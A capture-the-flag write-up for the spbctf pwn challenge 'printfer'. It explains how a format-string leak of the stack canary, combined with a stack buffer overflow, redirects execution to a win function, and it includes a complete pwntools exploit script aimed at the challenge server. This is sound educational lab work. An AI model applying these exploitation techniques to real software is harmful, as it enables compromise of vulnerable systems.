printfer
printfer
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: canary_leak, format_string_leak, ret2win, stack_buffer_overflow
Summary
Task: x86-64 ELF (No PIE, canary, NX) with two bugs in logic() — a format string on a global buffer and a 0x200-byte read into a 0x90-byte stack buffer, plus an unused win_fcn that prints flag.txt. Solution: leak the stack canary with %23$p, then overflow the buffer restoring the canary and overwriting the saved return address with win_fcn (ret2win).
printfer — spbctf
Description
task_printfer — https://pwn.spbctf.ru/files/canary/task_printfer nc 109.233.56.90 11589
A dynamically-linked, not-stripped x86-64 ELF asks for a name and a message.
The name is printed back through an uncontrolled printf, and the message read
overflows a stack buffer. An unused win_fcn reads and prints flag.txt. Goal:
reach win_fcn despite the stack canary.
Recon
file task_printfer
# ELF 64-bit LSB x86-64, dynamically linked, not stripped,
# BuildID 54ae9adad9b6387c52b0f8e6793f28a82860e377
checksec --file=task_printfer
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
nm / strings reveal a win_fcn symbol, calls to printf, and the string
flag.txt. Disassembling with objdump -d -M intel the relevant functions:
main()→ callslogic().logic()@0x40091d:memset(name /*0x6010a0*/, 0, ...)puts("Say your name:")read_n(name, 0x100)— reads into the globalname.printf("Welcome, ")printf(name)— format string vulnerability (no format specifier).puts("Now enter your message:")read_n([rbp-0x90], 0x200)— stack buffer overflow: 0x200 bytes into a 0x90 buffer.puts("Thank you! ...")memset, canary check @[rbp-0x8](loaded fromfs:[0x28]),leave; ret.
read_n()@0x400817: reads byte-by-byte viaread(0, ..., 1), stops on newline (0x0a→ replaced with0) or onread() <= 0. It does not stop on null bytes, so payloads may contain\x00but must avoid0x0a.win_fcn()@0x400885:fopen("flag.txt","r"),freadup to 0x100 bytes,fclose,puts(buffer),exit(0). Prints the flag; never reached normally.
Vulnerability analysis
Two independent bugs live in logic():
- Format string —
printf(name)on attacker-controlled input lets us read arbitrary stack slots with%N$p. This is the info-leak primitive. - Stack buffer overflow —
read_n([rbp-0x90], 0x200)writes up to 512 bytes into a 144-byte buffer, enough to overwrite the saved canary, saved RBP, and the return address.
Protections present: NX (no shellcode), stack canary (naive overflow
dies), No PIE (so win_fcn is at a fixed address 0x400885).
The classic combination: use bug #1 to leak the canary, then use bug #2 to
overflow while rewriting the same canary value back in place, redirecting the
return to win_fcn (ret2win).
Finding the canary offset
The first 5 printf variadic args come from registers (rsi, rdx, rcx, r8, r9
= positions 1–5); stack args start at position 6. Leaking positions 18–25 with
%18$p ... %25$p, the canary is the slot whose value ends in 00
(canaries have a null LSB), e.g. 0x7d07d5916d3c3f00. That slot is %23$p.
Overflow layout
buffer [rbp-0x90] .... canary [rbp-0x8] saved_rbp [rbp+0] ret [rbp+8]
|<------- 0x90 - 0x8 = 0x88 (136) ------->|<- 8 ->|<-- 8 -->|<--- 8 --->|
Padding to canary = 0x88 = 136 bytes, then canary(8) + rbp(8) + ret(8).
Exploitation
Stage 1 — leak canary via format string with %23$p.
Stage 2 — overflow: 'A'*0x88 + p64(canary) + p64(dummy_rbp) + p64(win_fcn).
sendline appends the terminating \n that read_n uses as its input
terminator; the payload itself must contain no 0x0a.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'warning' HOST, PORT = '109.233.56.90', 11589 io = remote(HOST, PORT) # Stage 1: leak the stack canary via the format-string bug io.recvuntil(b'Say your name:') io.sendline(b'%23$p') io.recvuntil(b'Welcome, ') leak = io.recvuntil(b'!', drop=True).strip() canary = int(leak, 16) log.warning('canary = %#x' % canary) # Stage 2: overflow -> restore canary -> ret2win io.recvuntil(b'Now enter your message:') win = 0x400885 payload = b'A' * 0x88 payload += p64(canary) payload += p64(0xdeadbeef) # saved rbp (irrelevant) payload += p64(win) # return address -> win_fcn io.sendline(payload) data = io.recvall(timeout=5) print(data.decode(errors='replace'))
Running it prints the contents of flag.txt.